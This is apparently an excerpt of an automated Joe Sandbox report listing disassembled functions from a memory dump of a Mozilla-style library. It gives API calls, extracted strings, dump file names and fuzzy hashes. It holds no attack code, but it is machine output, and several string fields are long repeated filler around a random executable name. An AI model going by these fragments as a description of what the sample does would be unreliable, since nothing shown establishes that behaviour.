Part of subcall function 6CDACFE0: EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDACFF6
Part of subcall function 6CDACFE0: LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD52E
EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDCD690
LeaveCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD751

Strings

N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDCD793
MOZ_CRASH(), xrefs: 6CDCD4BB

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw
API String ID: 3805649505-1997472510
Opcode ID: 23368f208c338ea4b32e9e52298f0c7bec55dcb976cae466836223da521474d2
Instruction ID: 7e952102575b31083fc1cbe13d8310bd61b5a0edce60108b094a1d3d0c1767d1
Opcode Fuzzy Hash: 23368f208c338ea4b32e9e52298f0c7bec55dcb976cae466836223da521474d2
Instruction Fuzzy Hash: AF51E171B44B158FD318CF28C49071AB7F5EB89314F254A2ED5AAC7B94D778E800CB92

Function 6CDF4630 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CDF4721

Strings

profiler-paused, xrefs: 6CDF46E4
., xrefs: 6CDF476A
-%llu, xrefs: 6CDF4733
WdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiT, xrefs: 6CDF471A, 6CDF4726

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$WdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiT$profiler-paused
API String ID: 3732870572-4017866642
Opcode ID: 986f57aec97aa0f67d42852fb991fcb22f817b549bb5ea288794b9e7e31809e1
Instruction ID: 82e646199cefecf2c4a273bff4c62732178aa6470b7529fb967ea7a31a173708
Opcode Fuzzy Hash: 986f57aec97aa0f67d42852fb991fcb22f817b549bb5ea288794b9e7e31809e1
Instruction Fuzzy Hash: 51418A71E047089BCB08DF78E94219EBBF5FF85344F11863DE865A7BA1EB3498058791

Function 6CDF46E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CDF4721

Part of subcall function 6CDA4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CDE3EBD,00000017,?,00000000,?,6CDE3EBD,?,?,6CDA42D2), ref: 6CDA4444

Strings

profiler-paused, xrefs: 6CDF46E4
., xrefs: 6CDF476A
-%llu, xrefs: 6CDF4733
WdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiT, xrefs: 6CDF471A, 6CDF4726

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$WdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiT$profiler-paused
API String ID: 680628322-4017866642
Opcode ID: 454000c69bbfded1fc7c9202072f10f48a580c6d1f44bd73f47a9f72ea702f9a
Instruction ID: 78e0136cb4e1663343390019a6d7cacaa09f632efc697bc103a3b2cd0ec0984e
Opcode Fuzzy Hash: 454000c69bbfded1fc7c9202072f10f48a580c6d1f44bd73f47a9f72ea702f9a
Instruction Fuzzy Hash: 6E317E71F042089BCB0CDF6CD98169DBBF6EB88314F16413DE8159BB50EB74D9058B90

Function 6CDDF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CDDF480

Part of subcall function 6CDAF100: LoadLibraryW.KERNEL32(shell32,?,6CE1D020), ref: 6CDAF122
Part of subcall function 6CDAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CDAF132

CloseHandle.KERNEL32(00000000), ref: 6CDDF555

Part of subcall function 6CDB14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CDB1248,6CDB1248,?), ref: 6CDB14C9
Part of subcall function 6CDB14B0: memcpy.VCRUNTIME140(?,6CDB1248,00000000,?,6CDB1248,?), ref: 6CDB14EF

Part of subcall function 6CDAEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CDAEEE3

CreateFileW.KERNEL32 ref: 6CDDF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CDDF523

Strings

\oleacc.dll, xrefs: 6CDDF4CB

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c9e7dd4947503dbe68674d8c8d103db320c66682289a3b86b0293ad0a15d3c90
Instruction ID: 7cf76d31dab02b0b91e30953b22bb26096577caa45da4e983aba43e9237e9f86
Opcode Fuzzy Hash: c9e7dd4947503dbe68674d8c8d103db320c66682289a3b86b0293ad0a15d3c90
Instruction Fuzzy Hash: 8F41B070A18750DFE720DF69C884B9BB7F4AF85318F100A1CF59193660EB74E949CBA2

Function 6CDC9D10 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDC9D27
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDC9D71
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDC9DDA

Strings

N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC9E39
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC9DBE

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave_errno
String ID: N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw
API String ID: 81201238-969534234
Opcode ID: 8cd8dec07ea026e26cf44e10322c5db79f1e3d443399dec77506e835944e10fb
Instruction ID: b8c3c5f5cc79b088ebf44908a70e3bde8128ccadffe27fb80592d2899d4f2389
Opcode Fuzzy Hash: 8cd8dec07ea026e26cf44e10322c5db79f1e3d443399dec77506e835944e10fb
Instruction Fuzzy Hash: 3A31F735B41A21CBDF188B24C44076933B9FB86B2FF158175EC55B7FA4CB35A8418B92

Function 6CE074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CE07526
__Init_thread_footer.LIBCMT ref: 6CE07566
__Init_thread_footer.LIBCMT ref: 6CE07597

Strings

UnmapViewOfFile2, xrefs: 6CE07552
kernel32.dll, xrefs: 6CE07557

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e9d33b7a3af07ca37bb72e386c6b90f62b124905f92a2436cddaf07b5858d0e5
Instruction ID: 56e3e867fbbd58cd396cfebfe390e4c0f624868f8a118b6c677c5c7262084efa
Opcode Fuzzy Hash: e9d33b7a3af07ca37bb72e386c6b90f62b124905f92a2436cddaf07b5858d0e5
Instruction Fuzzy Hash: 83214931B0065097CB148FE8C804F993376EB47369F314528D80547B40CB3DB8228BE1

Function 6CE0A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2F770,-00000001,?,6CE1E330,?,6CDCBDF7), ref: 6CE0A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CDCBDF7), ref: 6CE0A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CDCBDF7), ref: 6CE0A7E4
LeaveCriticalSection.KERNEL32(6CE2F770), ref: 6CE0A80A

Strings

accelerator.dll, xrefs: 6CE0A7BF

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 30ec5b572aba1efc95e0cbbc52a562b426fca92ec1a8c395a9ab58c911dcba5f
Instruction ID: 3d14be955e116e24677620f773acb0d8ea98325524af3b2a70c64287317d45db
Opcode Fuzzy Hash: 30ec5b572aba1efc95e0cbbc52a562b426fca92ec1a8c395a9ab58c911dcba5f
Instruction Fuzzy Hash: B301A2B1B203189FDB04CF55D8C4E5177B8FB8A715714806AE84A8B711DB74D810CBA0

Function 6CDAF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CDAEE51,?), ref: 6CDAF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CDAF0C2

Strings

Could not find CoTaskMemFree, xrefs: 6CDAF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CDAF0DC
ole32, xrefs: 6CDAF0AD

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 6bef3db9e05bce4235f34ed8edb5f34ed90e6000dbbe1cb0f83056c2acfb5f14
Instruction ID: 1db05b886fde511def7844385def30447fc2fc7e502d6e8e4aa27f5eb364aa22
Opcode Fuzzy Hash: 6bef3db9e05bce4235f34ed8edb5f34ed90e6000dbbe1cb0f83056c2acfb5f14
Instruction Fuzzy Hash: 37E0DF72745305DBAF045BE3D808B2637B9AB12209324846DF403D1E10EE7DE9018BA9

Function 6CDE00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CDB7235), ref: 6CDE00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CDE00F7
FreeLibrary.KERNEL32(?,6CDB7235), ref: 6CDE010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CDE00F1
wintrust.dll, xrefs: 6CDE00D3

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 7bb971fe68ab57bb00b45d7d3f75a8167861e1a9d2e5de31971861bcd67f873d
Instruction ID: b2050c57e6a0e4470b7f797678b0202d30775b9abd3a9ef3a0c25c486e596c5a
Opcode Fuzzy Hash: 7bb971fe68ab57bb00b45d7d3f75a8167861e1a9d2e5de31971861bcd67f873d
Instruction Fuzzy Hash: 89E0B674B4531ADBEF049F65CA09B21BAFDF70B385F648016A94AC5B50DBBDD440EB10

Function 6CDE0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CDB7204), ref: 6CDE0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CDE00A7
FreeLibrary.KERNEL32(?,6CDB7204), ref: 6CDE00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CDE00A1
wintrust.dll, xrefs: 6CDE0083

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: df62deb71c2146ca91bc8ff680e9d4867b3e5ecd0ecdd3c80108010e490591fe
Instruction ID: cf7b06034d122aac74c60d592b6366514da562f3577a9d5123f5aafe45778800
Opcode Fuzzy Hash: df62deb71c2146ca91bc8ff680e9d4867b3e5ecd0ecdd3c80108010e490591fe
Instruction Fuzzy Hash: D0E09278A407199BEF08AF668809711BAF8EB0B389F104116EA16C2660DBBDD440EF11

Function 6CE0C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CE0C0E9), ref: 6CE0C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CE0C437
FreeLibrary.KERNEL32(?,6CE0C0E9), ref: 6CE0C44C

Strings

ntdll.dll, xrefs: 6CE0C413
NtQueryVirtualMemory, xrefs: 6CE0C431

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: db08629af903d4a963056720136c64976a4355e943aa0d39c7d98088ab59f215
Instruction ID: ea4c3e08117775a057564b45fed3b104a51ddfffd4f10c9ce67ec35c16d39d9a
Opcode Fuzzy Hash: db08629af903d4a963056720136c64976a4355e943aa0d39c7d98088ab59f215
Instruction Fuzzy Hash: 61E0B678F053159BEF047F71CA19711BBF8F70A608F144116EA0695701EBBCC0118B91

Function 6CE075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CE0748B,?), ref: 6CE075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CE075D7
FreeLibrary.KERNEL32(?,6CE0748B,?), ref: 6CE075EC

Strings

ntdll.dll, xrefs: 6CE075B3
RtlNtStatusToDosError, xrefs: 6CE075D1

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 756db1575aa6d65b7bda081d681c3d8e00b6f6cc0a6c623cd7e2321969bd9d92
Instruction ID: 7696c6e23900b6322d32ce3f2ee8d6fb068dada81ba714f3a532591000304a53
Opcode Fuzzy Hash: 756db1575aa6d65b7bda081d681c3d8e00b6f6cc0a6c623cd7e2321969bd9d92
Instruction Fuzzy Hash: 43E0B671B10319ABEF006FA2C848B017BF8EB06218F204026A946D5740EFBC80A2CF50

Function 6CE07600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CE07592), ref: 6CE07608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CE07627
FreeLibrary.KERNEL32(?,6CE07592), ref: 6CE0763C

Strings

ntdll.dll, xrefs: 6CE07603
NtUnmapViewOfSection, xrefs: 6CE07621

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 728447df68491606eeda9d30dd834ca764a4a53f212e46cc53642841b73edb42
Instruction ID: 07b872fd32ef2e95daaa3eceb6b27181c220346c69f325f67f5cd14707341f0d
Opcode Fuzzy Hash: 728447df68491606eeda9d30dd834ca764a4a53f212e46cc53642841b73edb42
Instruction Fuzzy Hash: 20E0B6B0B21319ABEF006FA6DC087017BB8F71A359F204116E946D5740EBBC80508F54

Function 6CDE08F0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDE0918
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDE09A6
EnterCriticalSection.KERNEL32(6CE2E7DC,?,00000000), ref: 6CDE09F3
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDE0ACB

Strings

WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDE0966

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 3168844106-4197491586
Opcode ID: 2bb7719d06c731f5da5bb46e2356547a330d0fb2cca3f2eb8417cf790b9c0b8b
Instruction ID: a49ae51f37ffcdbedbaacf6897e5ffff8e5f25d7a96680d5b5c1419c893595e7
Opcode Fuzzy Hash: 2bb7719d06c731f5da5bb46e2356547a330d0fb2cca3f2eb8417cf790b9c0b8b
